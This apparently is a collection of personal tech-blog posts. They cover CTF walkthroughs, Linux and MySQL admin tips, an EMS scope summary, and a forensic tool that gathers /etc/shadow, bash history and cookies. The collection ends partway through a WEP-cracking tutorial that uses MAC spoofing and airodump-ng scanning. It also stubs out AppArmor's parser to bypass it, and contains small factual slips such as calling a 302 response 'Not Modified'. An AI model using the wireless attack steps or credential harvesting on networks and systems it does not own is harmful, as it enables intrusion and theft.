In this specific case, it’s safe to assume dark=1 and light=0, which yields a binary value of 11101. Therefore, we’ll XOR the actual value 11101 with the first 5 bits of the format mask:

^ 10101

This means the error-correction level is 01 (L) and the mask ID is 000. Error correction level L allows for around 7% correction, as well as a corresponding decrease in the amount of information that can be stored. This makes sense, after all, since those bits can no longer be used to store “real” data.

Content-Encoding & Maximum Data Length

We’re about to apply the mask, but let’s make some predictions first. Specifically, I’ll walk you through how to determine the encoding type and character count.

Using the tables available on this page, along with the version and error correction values, we can determine the maximum length of the data contained in the code:

QR Code data limits - version 1-3

We can expect up to 440 bits, 127 digits (0-9), 77 characters (A-Z, 0-9 + special chars), or 53 binary digits. (Kanji encoding is used for special Japanese characters. There’s also an additional ECI mode used for other character sets, but we won’t be using either.)

It’s worth keeping in mind that alphanumeric digits can also be represented as data bits. The number of bits per character depends on the encoding type, with ASCII encoding using 8 bits (7 required + 1 parity bit). Unicode encoding (multibyte) can use more, depending on the character set (hence the drop in numbers for Kanji characters). Various encoding tricks can be employed here, but that’s outside the scope of this article.

Data Encoding Type & Content Length

We need to determine the encoding type in order to determine the maximum data length. The encoding type and data length are encoded in the first 13 bits of the message, starting from the bottom-right. Bits in a QR code are read in a zig-zag pattern, two columns at a time:

QR code with reserved areas redacted
The yellow areas are redacted in preparation for unmasking.

The four encoding methods (mentioned above) have the following mode indicators, which are stored in the first four bits. Again, the values in the above image are masked, and will not correlate with these binary values (yet):

  • Numeric – 0001
  • Alphanumeric – 0010
  • Bytes – 0100
  • Kanji – 1000

After this is a 9-digit (binary) value representing the character length. It’s padded on the left with zeros to ensure a consistent length. For example, the binary value 1 would be encoded as 000000001.

We can take a quick peek at the data by applying the mask to the bottom corner. I’ll discuss this next, so you’ll have to take my word on it for now. Also, note that the black/white values have changed from above, due to the image processing.

Black = 0, White = 1

Starting from the bottom right, this gives us a result of:

0010 001001010

The first four bits are the encoding type (alphanumeric), and the remaining nine bits (1001010 after removing padding) convert to 74 in decimal. We should get 74 alphanumeric characters once this is fully decoded.

Applying the Mask

The image on the left is the original QR code with reserved areas removed. On the right is mask 000, which we’ve determined to be the appropriate mask for this code.


For contrast, I’ve changed the mask to red before layering it on the original.


I’ve applied the mask visually, using the “difference” filter in GIMP. This essentially applies an XOR to the two layers, but some additional inversion is required. I won’t explain the process behind it, but you can see it applied for an OTP cipher here. The grids were generated in OpenOffice Calc, and I’ve included a link to the original at the end of this post.

At long last, the unmasked data:

This is the unmasked image, after a bit of processing. (Black = 0, White = 1)

Next, the bits shown above need decoded according to their respective schemes. I’m going to skip the discussion on character encoding, since there’s enough room for at least an entire other article on the subject.

The Short Answer

As I mentioned at the beginning of this post, there are several online tools that can decode this easily. In fact, there are tons of tools available to do the decoding. Since no article of this nature would be complete without an Python code example, you can also use the python-qrtools package (Ubuntu).

Encoding #2 – Morse Code

It turns out that the QR code was encoding a series of periods, hyphens and spaces (Morse code).

.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.

Now that we’ve got the Morse code, we simply need to decode it:


(Hover for answer)

InfoSec Institute – CTF Level 3

InfoSec Institute – CTF Level 2

This article is a solution to Level 2 of InfoSecInstitute’s CTF challenge. The challenge can be found here.

Although the solution is actually very simple, I’m going to describe a number of other steps to consider. If you just want the final answer, feel free to skip to the end.

Step 1 – Static Source Code Analysis

The first step is to look at the underlying source code. I’ll typically do a quick scan to see if anything is out of place or poorly-hidden. Incomplete or shoddy cover-ups can serve as a red flag to identify areas that need further investigation.

There’s some obfuscated JavaScript near the bottom of the page, but it’s easily recognized as just a Google Analytics snippet. If I wasn’t aware of that, I’d search for the string “function(i,s,o,g,r,a,m)”, which, sure enough, yields plenty of results.

The next chunk of code is a generic asynchronous loader function for the domain pardot.com. Oh, it’s just some marketing code from a (probably legitimate) company. I’ve never heard of them, but I’m not immediately suspicious.

There are a couple of unaccounted-for variables in the second snippet, but they appear to be consistent across pageviews, so I’m assuming it’s a unique identifier of some sort. I’ll mark a note to return here later, if needed.

Finally, there’s this:

Screenshot from 2015-03-12 19:28:31

The “leveltwo.jpeg” image is inside the “lvlone” div. This could certainly be a simple typo, but typographical errors break things, too. Since there’s nothing super solid to go on, and the message references the image file, I’ll start the next step with this.

Step 2 – Checking Dependencies

Any number of scripts (or other resources) can be included in the request. Although it’s not at all uncommon for people to host their own libraries versus using a content delivery network (CDN), seeing local paths to scripts and CSS files for common libraries should be investigated further.

Screenshot from 2015-03-12 19:41:52

If we trust the CDN, we can trust that the content it delivers is the actual jQuery library or Bootstrap CSS file, and not a malicious script that someone simply named “bootstrap.min.css”.

Screenshot from 2015-03-12 19:42:58

This doesn’t account for MITM-style vulnerabilities, where someone listening on your network could supply an altered copy of these libraries. 

The local files could be verified with an md5 hash, but I’m more interested in the image at this point. I’ll save that for later if nothing else turns up.

Open up the developer console (F12 in Chrome), and view the “Network” tab. This tab shows all of the individual components required to render the page.

Screenshot from 2015-03-12 19:48:43


The most interesting thing to me is the 200 (OK) HTTP response from the server. This indicates that the image does exist, but it’s still not showing up. If the image didn’t exist, I’d expect a 404 (Not Found) response, which is what is returned with this image tag:

You shouldn't actually see an image here

You’ll see the following requests for this page:

Screenshot from 2015-03-12 19:50:39

Note: If you receive a 302 (Not Modified) response instead of a 200, it simply indicates that the image is already saved in your browser’s cache. The server is telling your browser there’s no need to download a new copy, since the image hasn’t changed. Ctrl+F5 will force the browser to get the image from the server.

Screenshot from 2015-03-12 19:53:19

This leaves us with a missing image that isn’t actually missing. Since the image can’t be right-clicked on and saved, we can rule out a fake image of a missing image, like this one:

Screenshot from 2015-03-12 20:09:37

Open the image in a new tab by right-clicking on it and selecting “Open in New Tab/Window”. Developer tools confirms that the image exists, since we get another 200/302 response:

Screenshot from 2015-03-12 20:16:05

The response headers are curiously missing a Content-Type header, which is usually present. Specifically, I’d expect:

Content-Type: image/jpeg

Again, this is nothing super-concerning, just another subtle clue that something is amiss. It could be a simple oversight or server misconfiguration that’s causing the image to not be displayed, or it could be a corrupt image.

By clicking on the “Response” tab, we can view the raw data received from the server, which is:

Base64 Result

This is an easily-identifiable base64-encoded string, which is a valid way of sending images on the web. If you’re not familiar with this method, open the following link and inspect the Response.


Notice the difference in the string lengths? There’s not enough data in the leveltwo.jpeg file to be a valid image (probably). Instead, it looks like an encoded string (text).

The image above (apple.png) isn’t actually an image file. It’s a PHP script that outputs a base64-encoded image.
I’ve used an .htaccess rewrite to make it appear as an image at first glance, and for all intents and purposes, it is an image!

The real file is located at:


Not linked to an image file!

Remember that missing Content-Type header? That’s the missing piece that tells the browser to interpret it as image data, and not a bunch of garbled characters. Here’s the same script, but without the Content-Type header:


Here’s a comparison of the two, with and without the Content-Type header:

Screenshot from 2015-03-12 20:43:13
This script includes the Content-Type header, thus displaying an image.


Screenshot from 2015-03-12 20:43:25
Without the appropriate header, the image data is interpreted literally, as text.

You can find the source code for these test files on GitHub.



The solution is to simply decode the string that’s posing as an image. You can use an online tool, or switch over to the “Console” tab of the Developer Tools and decode it in JavaScript with the window.atob() method.

Screenshot from 2015-03-12 20:57:05

That’s all there is to it! Now, go find the string and decode it!

(If you’re too lazy for that, click the image below)

Screenshot from 2015-03-13 08:32:33
Solution (Click to enlarge)
InfoSec Institute – CTF Level 2

TomatoUSB extremely slow (0.5 mbps) wifi with normal wired speed

I recently started using TomatoUSB on a Cisco/Linksys E1200 router and noticed that I had an extremely slow download speed (around 0.5 Mb/s) and an acceptable upload speed (5.5 Mb/s). After checking QoS settings and the “Bandwidth Limiter” tab, I found a forum post indicating the WMM settings severely affected the speed. Disabling WMM increased the speed to around 1.5 Mb/s.

To disable WMM, go to Advanced > Wireless and look for the WMM field.

Screenshot from 2015-03-08 21:35:37

This, along with a call to Comcast, has increased my WiFi speed to around 7 Mb/s (25+ wired).

TomatoUSB extremely slow (0.5 mbps) wifi with normal wired speed

Dovecot on Ubuntu 12.04: postmaster_address setting not given

Dovecot: Error reading configuration: Invalid settings: postmaster_address setting not given

status=deferred (temporary failure. Command output: lda: Error: user <user>@<domain>: Error reading configuration: Invalid settings: postmaster_address setting not given lda: Fatal: Internal error occurred. Refer to server log for more information. )

While the error message itself is quite clear (the postmaster_address setting is missing), some of the highly-ranked answers didn’t quite work for me.

First, check the output of:

dovecot -a | grep postmaster_address

Expect no results (the setting isn’t given, after all). If you do have results, check that the setting is declared correctly.

The ‘postmaster_address’ Setting

On Ubuntu 12.04, I found the postmaster_address setting is defined in two places:

  • /etc/dovecot/conf.d/15-lda.conf
  • /etc/dovecot/dovecot.conf

I found the setting at the top of /etc/dovecot/conf.d/15-lda.conf to be commented out. Intuitively, you might uncomment this line and provide a setting, but if that doesn’t work, open /etc/dovecot/dovecot.conf and search for the following section:

protocol lda {
    mail_plugins = sieve quota

Now, add postmaster_address:

protocol lda {
    mail_plugins = sieve quota
    postmaster_address = postmaster@domain.com

Finally, restart dovecot:

sudo service dovecot restart
Dovecot on Ubuntu 12.04: postmaster_address setting not given

EnvironmentError: “mysql_config not found” While Installing MySQL-Python

While running “pip install mysql-python” on a fresh installation of Linux Mint 17, the following error occured:

Traceback (most recent call last):
  File "", line 17, in 
  File "/tmp/pip_build_root/MySQL-python/setup.py", line 17, in 
    metadata, options = get_config()
  File "setup_posix.py", line 43, in get_config
    libs = mysql_config("libs_r")
  File "setup_posix.py", line 25, in mysql_config
    raise EnvironmentError("%s not found" % (mysql_config.path,))
EnvironmentError: mysql_config not found


This problem is caused by the ‘mysql_config’ file not being in your PATH, likely because it’s not there at all.


Ensure that the libmysqlclient-dev package is installed:

sudo apt-get install libmysqlclient-dev -y

If you are still getting the error after this, ensure that your MySQL library is in your path:

echo $PATH

If that’s still not working, you can edit the “setup_posix.py” file and change the path attribute to match your local installation:

mysql_config.path = "/path/to/mysql_config"

(Note that the python-MySQL can also be installed with apt-get install python-mysqldb)

EnvironmentError: “mysql_config not found” While Installing MySQL-Python

Error loading docker apparmor profile –

I recently installed Docker and came across an error while starting the daemon:

INFO[0000] +job serveapi(unix:///var/run/docker.sock)
INFO[0000] +job init_networkdriver()
INFO[0000] Listening for HTTP on unix (/var/run/docker.sock)
INFO[0000] -job init_networkdriver() = OK (0)
INFO[0000] WARNING: Your kernel does not support cgroup swap limit.
FATA[0000] Error loading docker apparmor profile: fork/exec /sbin/apparmor_parser: no such file or directory ()

The error indicates that /sbin/apparmor_parser couldn’t be found. The easiest route is probably to just apt-get install apparmor, but I didn’t want to add apparmor to this machine for a number of reasons. Without apparmor, I couldn’t care less if the profiles are parsed, so I decided to substitute the binary with a shell script.

In this instance, the fork call probably just needs to find a file to execute and receive an exit code of 0.

sudo emacs /sbin/apparmor_parser
# Dummy program
exit 0;

After closing the file, be sure to chmod +x /s/bin/apparmor_parser to make it executable. This technique works because the program is looking for a binary to execute and will most likely check the return code (or output of stderr) of the callee. Note that this won’t always work, as some scripts and programs rely on program output, or a lack of program output (if not stderr).

If modifying programs in /bin/ or /sbin/ makes you uneasy, you can always add them to ~/bin/apparmor_parser. Recent versions of Ubuntu and Mint include a statement in .bashrc to include ~/bin in the PATH if it exists. (Of course, you can always export any arbitrary folder to your PATH too.)


Error loading docker apparmor profile –

Default parameter values in bash

Since it’s often easier to understand with an example rather than a detailed explaination, here are a couple of examples illustrating how to handle default variable values in Bash. In addition, it’s often useful to be able to use environment variables (e.g., to specify the path to a binary in a build script), so I’ve included that as well. All of the code is available on GitHub Gists.

#1 – Specifying a default value for a Bash variable

Here’s a quick and easy method to provide default values for command-line arguments in Bash. It relies on Bash’s syntax for accepting default variable values, which is ${VARNAME:-“default”}. The double quotes allow anything that normal variable expansion allows as far as I can tell.

#2 – Specifying a default value in a Bash function

This is really no different than above, but illustrates how you can rely on the. In this example, the interface name ($iface) can be specified as the first parameter. Each of the functions then uses the same method to gather its arguments, resorting to the “global” defaults (CLI args) if not specified. (Note that in Bash, variables are global in scope by default. To override this behavior, use the local keyword)

#3 – Command output as default variable values

It’s also simple to use the output of an evaluated expression as the default value. This is great for getting system information (username, current working directory, etc.) or information that is easily generated on the command line — date constructs, random passwords, etc.

#4 – Override default values with environment variables

The following script uses the ‘htpasswd’ and ‘openssl’ binaries, which are usually specified by the full path (output of ‘which htpasswd’). By prefixing the standard definition with ${ENV_VAR-$(which htpasswd)}, you can now ‘override’ the default value with the use of an export  statement.

The script also takes an optional first and second parameter, which default to the current user and a random password respectively. If a password wasn’t specified, show the generated password to the user (otherwise, don’t display raw password info).

Example #5 – Just Because

Just a shorter, harder-to-read version.

Example #6 – Exit with an error if parameter is empty

Sometimes the input must come from the user, and the script needs to terminate if the user hasn’t specified the correct arguments. This can be done by using a question mark instead of a default value:
This results in output like:

./foo.sh: line 2: 1: You must specify a username

Example #7 – Exit with an error if binary not found

This could probably be made shorter, but it works. This statement tries to fill the value of $ifconfig with either $IFCONFIG or the output of which ifconfig. If both are empty, the boolean OR || is triggered, which echos an error and returns 1. Still unsatisfied, the final OR is triggered, causing the script to exit with status 1. Structuring your exit codes like this allows this script to be used in a similar fashion inside of other scripts or crontabs.

Default parameter values in bash

2014 Changes to the PA EMS Scope of Practice

The new Scope of Practice for Emergency Medical Service Providers was posted today and is scheduled for release this coming Saturday, November 29th. For reference, the soon-to-be old Prehospital Practitioner Scope of Practice is available here.

The most noticeable update is the much-anticipated inclusion of the Advanced EMT (AEMT) skills. As usual, one step forward comes with one step back: the EMR (formerly, First Responder) skill set was scaled back a bit. The EMT has gained some new abilities, and both EMTs and Paramedics have lost a couple of skills. The following is a quick breakdown to save you the time of comparing the documents.

I’ve also uploaded a comparison chart. Major additions/deletions are highlighted in blue. Lines that are blacked out indicate that nobody is allowed to perform that particular skill.

Items in italics indicate that skills may be performed only in the presence and under direct supervision of a Paramedic or higher.

Items in bold indicate that additional training and authorization by the service’s medical director is required. The service must also comply with DOH requirements for performing a skill.

Emergency Medical Responder (EMR)

According to the document, EMRs can no longer:

  • Use a BVM with an inline nebulizer
  • Use EtCO2
  • Use Pulse oximetry
  • Use CO-oximetry
  • Operate a transport ventilator
  • Apply ECG electrodes
  • Apply cervical collars

Despite being too stupid (in the state’s eyes) to apply a cervical collar or use a pulse oximeter, EMR’s are now allowed to administer naloxone via an auto-injector or the intranasal route.

Emergency Medical Technician (EMT)

EMT’s have gained the following skills:

  • Perform tracheobronchial suctioning via an advanced airway (that’s already been placed)
  • Administer oxygen via a Venturi mask
  • Use a mechanical CPR device
  • Automatic transport ventilators no longer require additional training (footnote removed).

EMTs are no longer allowed to perform EtCO2 monitoring.

Advanced Emergency Medical Technician (AEMT)

Since all of the AEMT skills are new, here’s a quick rundown of what the AEMT can and can’t do. This isn’t an exhaustive list, but rather a quick dispelling of the rumors and hearsay that have been running around. Consider checking out the AEMT Information page as well.


  • Most medication routes, as discussed in class.
  • IV:
    • Start a saline lock (no fluid)
    • Administer a fluid bolus (crystalloid solutions, as published by DOH)
  • Application of electrodes, including transmission of 12-lead ECGs
  • Irrigation with a corneal contact device (Morgan lens)
  • Blood glucose assessment
  • Intraosseous insertion in the physical presence and under direct supervision of Paramedic+.
  • Peak expiratory flow assessment

Not allowed:

  • Chest decompression
  • Medication administration via IV/IO, ET, or NG
  • Interpretation of ECGs
    • Any manual electrical or pharmacological intervention that is based on interpreting ECGs (AED is OK)
  • Accessing central lines, or external jugular (EJ) cannulation
  • Monitoring an IV infusion with added medication, even with an IV pump


  • Footnote for “additional training required” was removed for ITD
  • BiPAP is no longer allowed
  • Blended/multi-mode ventilators are no longer allowed
  • Urinary catheterization is no longer allowed

In addition to the above highlights, some wording has changed and various lines have been removed, added and/or otherwise reorganized (please review the original document). Fortunately, all of us are allowed to perform “Patient management per Statewide EMS Protocols and Department approved protocols” (isn’t that the point of them?); however, they no longer spell out that we’re allowed to use PPE, do tripsheets, use the radio, or talk to the hospital staff, and there’s no mention of whether or not we’re allowed to perform clean technique. (According to the previous scope, only Paramedics were allowed to wash their hands, use clean gloves and make an effort to prevent direct contamination of equipment and supplies.)

Things nobody likes doing anyway.


Again, please read the original document. There’s a chance I’ve missed something. If you do notice any inaccuracies, let me know.

2014 Changes to the PA EMS Scope of Practice

BlackBag Tool – A Framework for Rapid Information Discovery

Last Update: 14-Nov-2014

I’ve decided to pick up on the BlackBagTool project, which is an attempt at a program/framework to find interesting information on a mounted hard drive. The end-goal is an application that allows an investigator to gather a 2-minute summary of the information on the drive and act as a springboard for the overall investigation. This is an attempt at nailing down a spec.


The layout consists of a series of Python modules and small scripts (installed to /usr/bin) that can be used in conjunction with each other. I’m debating whether or not to include an optional prefix on the command names for namespacing reasons.

The small, individual scripts can then be piped together or included in shell scripts to automate the discovery process. The python modules can also be imported into scripts or used in the REPL.

I’m also aiming to build an application around this set of tools that fully automates the task of:

  1. Take the mount directory as an argument
  2. Determine the operating system (based on files/paths/etc)
  3. Gather relevant OS files (/etc/shadow, ~/.bash_history, recent documents, etc)*
  4. Determine what applications are installed, and possibly which versions
  5. Gather relevant application data (recent files, configuration/settings, history, cookies, etc)
  6. Parse data according to known formats and process fields against known patterns (dates, email addresses, etc)

Email address in  tag.Interesting email addresses can be found in browser history Title fields.


  • dbxplorer – A module for automatically gathering information about databases on a computer (db files, tables, raw data). Working on support for MySQL and SQLite now.
  • fsxplorer – A module for filesystem scanning.
  • bbtutils – A utility module for gathering information in a consistent way
  • skypedump – A utility for dumping skype information (contacts, chat history, etc)
  • chromedump – A utility for dumping browser information from Google Chrome (history, downloads, favorites, cookies, autofill data, etc)
BlackBag Tool – A Framework for Rapid Information Discovery

Extract one table from a mysqldump file

I recently had to restore a MySQL table from a nightly database backup. Given the size of the dumpfile and the fact that only one table needed modified, I ended up using sed to extract the table:

sed -n '/CREATE TABLE.*table/,/UNLOCK TABLES/p' full_database_backup.sql > table.sql

The -n flag is an alias for –quiet, which suppresses output other than what sed is told to print.  The p at the end of the expression tells sed to print the matches to the screen.
I’ve created a bash script to handle this, and placed it in /bin/dbextract. It’s intended to be used the same way  as the actual command, in that output is directed to stdout. (You’ll want to redirect it with “> outfile”)

Extract one table from a mysqldump file

MySQL datadir on different partition

This writeup will walk you through installing MySQL with the data directory on a separate partition. Although a new install is pretty straightforward, we ran into some quirks when trying to move the data directory on an existing installation. For this tutorial, I’ll be using an otherwise-fresh Ubuntu 14.04 install with MySQL already installed.

The default MySQL data directory (where the database files are stored) is in /var/lib/mysql. I’ll be moving this to a disk mounted at /mnt/SAN for the purpose of freeing up disk space on the VM. (I’m not going to discuss the benefits and drawbacks of doing so, as that’s beyond the scope of this article. I assume that if you’re here, you’ve already determined a need to mount the data directory on another filesystem.)

There are a couple of steps involved in this:

  1. Create the new directory
  2. Stopping the MySQL service
  3. Copying the files to the new location
  4. Editing /etc/mysql/my.cnf
  5. Editing the AppArmor profile
  6. Reloading the AppArmor profile and restarting MySQL

The new data directory will be located at /mnt/SAN/mysql, which will have to be created. When creating this directory, ensure it’s owned by the mysql group and user, and set permissions to 700.

sudo mkdir -p /mnt/SAN/mysql
sudo chown mysql:mysql /mnt/SAN/mysql
sudo chmod 700 /mnt/SAN/mysql

Next, stop the MySQL service:

sudo service mysql stop


sudo /etc/init.d/mysql stop

Once you’ve set up the new data directory on your mounted partition, copy the files over:

cp -dpR /var/lib/mysql/* /mnt/SAN/mysql/

The -dpR flags do the following:

-d prevents symlinks from being followed
-p preserves ownership, timestamps and permissions
-R copies recursively

Once the files have copied, ensure the permissions match those of the original data directory (/var/lib/mysql/). Make sure the new mysql directory has the correct ownership and permissions as well!

At this point, a directory listing of /mnt/SAN/mysql should match /var/lib/mysql exactly.

Now, we’ll edit the MySQL config file, located at /etc/mysql/my.cnf. I recommend backing this file up first!

sudo cp /etc/mysql/my.cnf /etc/mysql/my.cnf.bak
sudo emacs /etc/mysql/my.cnf

Look for the “datadir” param, which should be set to the default value of “/var/lib/mysql”

# * Basic Settings
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql

Change this value to your new mysql data directory (/mnt/SAN/mysql) and save the file.

If you try to start the MySQL service now, it’ll likely fail because AppArmor sees it accessing a directory it’s not supposed to. Dmesg will show errors like this:

init: mysql main process ended, respawning
 init: mysql post-start process (14005) terminated with status 1
 apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/mysqld" pid=14020 comm="apparmor_parser"
 init: mysql main process (14032) terminated with status 1
 init: mysql respawning too fast, stopped

In order to correct this, we’ll have to tell AppArmor to allow mysql to read/write to the new data directory. Open up the MySQL AppArmor profile:

sudo emacs /etc/apparmor.d/usr.sbin.mysql

Comment out the lines pertaining to the old data directory, and add the new data directory to the AppArmor profile:

#/var/lib/mysql/ r,
#/var/lib/mysql/** rwk,
/mnt/SAN/mysql/ r,
/mnt/SAN/mysql/** rwk,

Once this is done, reload the AppArmor profile:

sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.mysql

If all the permissions are correct, the mysql service should now start:
sudo service mysql start


sudo /etc/init.d/mysql start

If you’re still running into issues, make sure that:

  • The new data directory has the correct permissions
  • The AppArmor profile is correct
  • You’ve started the mysql service (mysqld)
MySQL datadir on different partition

IP Address Validation Without Regular Expressions

Validating an IP address is pretty simple, but requires an obnoxious regular expression in order to account for the possible values. Most examples I’ve seen resort to a regular expression to solve the task, but using a simple [0-9]{1,3} pattern isn’t enough. For example, it won’t prevent an IP like 444.555.666.777 from getting past the filter, so it has to be a little more complex:


Expressions like this suck, so I decided to go about writing my own function to validate an IPv4 address. In Python, it can be done in one line:

  1. is_valid = (ip.count('.') == 3 and False if False in [int(i) in range(0,256) for i in ip.split('.')] else True)

This statement starts with counting the occurrences of the ‘.’ character  in the `ip` variable (string). The interpreter will halt here if the number of octets is incorrect, preventing iteration over clearly-invalid IPv4 addresses like “192.168.1” or “192.168..1.1”. The second half of the statement uses a generator to determine if each octet is a number between 0 and 255 (inclusive), resulting in a list of boolean values. If False is in this list, the statement will evaluate to False.

Timeit shows this function is ever-so-slightly slower than compiling the above regular expression. The regular expression takes between 0.000015 – 0.000025s while the function has been consistently around 0.000025s.

Another variant of the function (using a similar methodology) in PHP looks like this:

  1. function validate_ip($ip) {
  2.     $i = 0;
  3.     foreach(explode('.', $ip) as $part) {
  4.         if ((int)$part >= 0 && (int)$part < 256) {
  5.             $i++;
  6.         }
  7.     }
  8.     return ($i === 4);
  9. }

While newer versions of PHP support generators, this function was written for an older version, hence the difference in formatting. Unfortunately, I don’t have any benchmarks for this function.


IP Address Validation Without Regular Expressions

MySQL Database Backup With mysqldump + netcat

I ran into a situation recently where I had to copy a database, but didn’t have the disk space for a full dump. Instead of rsync or scp (which can be done over netcat as well), I opted to pipe the output of mysqldump to netcat and transfer the data directly to the other server.

My setup was Ubuntu server 12.04 and Linux Mint 16 (client). First, start netcat on the client machine on an available port (e.g., 1234) and redirect the output to the desired .sql file:

nc -l 1234 > backup.sql.gz

On the server, we’ll route the mysqldump output through a gzip wrapper and into netcat. In this example, the destination machine (above) is, and should hopefully be listening on port 1234 already. (It is worthwhile to note that you should supply the MySQL password in the command itself, rather than just using the “-p” option. The password prompt will be transmitted to the listening machine,  which will end the netcat session. Security-conscious users can enter a space before the command to keep it from being stored in bash history.)

mysqldump -u root -pP@$$w0rd db_name | gzip | nc -w1 1234

MySQL Database Backup With mysqldump + netcat

Linux Command Line – Batch Convert PPT to PDF

I recently had a bunch of PowerPoint files that I wanted to convert to PDF, and opening them in LibreOffice and exporting as PDF was taking too long. Fortunately, there’s a program called unoconv that claims to convert between all OpenOffice/LibreOffice formats.

Install (Debian)

sudo apt-get install unoconv

Convert all files to PDF:

unoconv -f pdf *

That’s it!

Linux Command Line – Batch Convert PPT to PDF

Space Before Command Not Working on Linux Mint

Bash has a useful feature where it won’t store command history if the command begins with a space.  This was Ubuntu’s default functionality, and it’s useful for commands like:

mysqldump -u root -prootpassword db_name > db_name.export.sql

Unfortunately, this wasn’t enabled by default on Mint, and I was able to do so by adding  the following line to my ~/.bashrc:


The ignorespace flag won’t store commands whose first character is a space, and ignoredups intuitively causes bash to not store duplicates (when entered sequentially). If using the two together, you can also specify ignoreboth, rather than spelling it out.

ignoredups vs. erasedups

There’s another setting for duplicates – erasedups. While ignoredups prevents repeated entries, erasedups will erase any older instances of the command. I’ll use this series of commands to illustrate the difference.
emacs test.py
emacs test.py
python test.py
emacs test.py

With ignoredups only, your history would look like this:
emacs test.py
python test.py
emacs test.py

With erasedups, your history would look like so:
python test.py
emacs test.py

Of course, you’ll need to restart your bash session (log out/log in, type ‘bash’, etc) for these changes to take effect.

Space Before Command Not Working on Linux Mint

Free Windows Test Virtual Machines

For Linux users looking to run Windows in a virtual machine, but not looking to pay for a copy of Windows, you can download free VM images directly from Microsoft. (Also featured on this page is a link to a game by Microsoft titled “Escape from XP“)

Windows 8.1 (IE 11) Batch Download
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20140402/VirtualBox/IE11_Win8.1/Linux/IE11.Win8.1.For.LinuxVirtualBox.txt

Windows 8 (IE 10) Batch Download
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE10_Win8/Linux/IE10.Win8.For.LinuxVirtualBox.txt

Windows 7 (IE 11)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE11_Win7/Linux/IE11.Win7.ForLinuxVirtualBox.txt

Windows 7 (IE 10)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE10_Win7/Linux/IE10.Win7.For.LinuxVirtualBox.txt

Windows 7 (IE 9)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE9_Win7/Linux/IE9.Win7.For.LinuxVirtualBox.txt

Windows 7 (IE 8)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE8_Win7/Linux/IE8.Win7.For.LinuxVirtualBox.txt

Windows Vista (IE 7)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE7_Vista/Linux/IE7.Vista.For.LinuxVirtualBox.txt

Windows XP (IE 8)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE8_WinXP/Linux/IE8.WinXP.For.LinuxVirtualBox.txt

Windows XP (IE 6)
wget -i https://az412801.vo.msecnd.net/vhd/VMBuild_20131127/VirtualBox/IE6_WinXP/Linux/IE6.WinXP.For.LinuxVirtualBox.txt

Free Windows Test Virtual Machines

NREMT Spinal Immobilization – Strap Order

Since this question comes up a lot in classes, here’s the current accepted strap order for the long backboard (LBB) and KED:

Long backboard:

  1. Immobilize torso to the board by applying straps across the chest and pelvis and adjust as needed.
  2. Immobilize the patient’s head to the board
  3. Fasten legs, proximal to and distal to the knees

Seated Patient (KED, short backboard, etc)

  1. Secure the device to the patient’s torso.
  2. Evaluate torso and groin fixation and adjust as necessary without excessive movement of the patient.
  3. Evaluate and pad behind the patient’s head as necessary to maintain neutral in-line immobilization.
  4. Secure the patient’s head to the device.
  5. Release manual immobilization of head.
  6. Rotate or lift the patient to the long spine board.
  7. Immobilize patient to long spine board.

The “MBLHT” acronym is out, and I can’t think of any fun acronyms or mnemonics for the new strap order. Oh well.

These strap orders were taken from the EMT-B National Standard Curriculum (NHTSA). You can find the curriculum at this link (PDF).


NREMT Spinal Immobilization – Strap Order

Cracking WEP Encryption With aircrack-ng

This article will walk you through cracking WEP encryption with the aircrack-ng suite. Due to the weaknesses in WEP, this can be done in roughly 5 minutes. For this attack, you’ll need the aircrack-ng suite, available here. You’ll also need a compatible wireless chipset (see their documentation for details). I’ll be running this on Linux with an Atheros chipset.

The first step is to open up a Terminal, and enter iwconfig, this should give you a list of your wireless adapters. I’ll be using wlan0 in the examples, but yours may be different.

wlan0     IEEE 802.11bgn  ESSID:"FLVY3"  
          Mode:Managed  Frequency:2.412 GHz  Access Point: 00:26:62:65:B7:78   
          Bit Rate=54 Mb/s   Tx-Power=17 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:8DE0-85A9-34
          Power Management:on
          Link Quality=55/70  Signal level=-55 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:13   Missed beacon:0

Configure the Wireless Adapter

Now put the device down and change our MAC address (optional, uses the macchanger program) by issuing the following commands:

ifconfig wlan0 down
macchanger --mac AA:BB:CC:DD:EE:FF wlan0

If you get the “ERROR: Can’t change MAC: interface up or not permission: Device or resource busy” error, try repeating the ifconfig wlan0 downagain, and then try macchanger --mac AA:BB:CC:DD:EE:FF wlan0 again. At any point, you can check your MAC address by issuing the commandmacchanger --show wlan0

Now we’ll put the wireless adapter into monitoring mode by issuing the command airmon-ng start wlan0. It may show processes that it thinks may interfere with the airmon-ng program. You can kill these processes or just give it a shot without killing them.

Next, we’ll start the airodump-ng program by issuing the command airodump-ng wlan0 and scan for available access points. You should see something like this:

CH  1  ][ Elapsed: 8 s ][ 2011-12-27  17:02


00:11:22:33:44:55 -62 82 10 0 1 54e. WEP WEP WiFi2

BSSID STATION PWR Rate Lost Packets Probes [More stuff here]

The BSSID shows the MAC address for the access point and the ESSID should show the network name. CH indicates what 802.11 channel the AP is broadcasting on, and the ENC value is the encryption used (WEP, WPA, WPA2). The CIPHER and AUTH columns show what cipher and form of authentication are in place. The MB indicates what 802.11 version (speed) is in place. 802.11b has a value of “11”, 802.11b+ is represented by “22” and 802.11g is anything higher than 22. This AP also has an “e.” after it, which indicates that QoS is enabled (e) and that the short preamble is supported (.). Finally, the #Data column shows the number of packets captured – in the case of WEP, this is the number of unique IVs. The #/s column shows the average packets per second (calculated over a running 10-second interval).

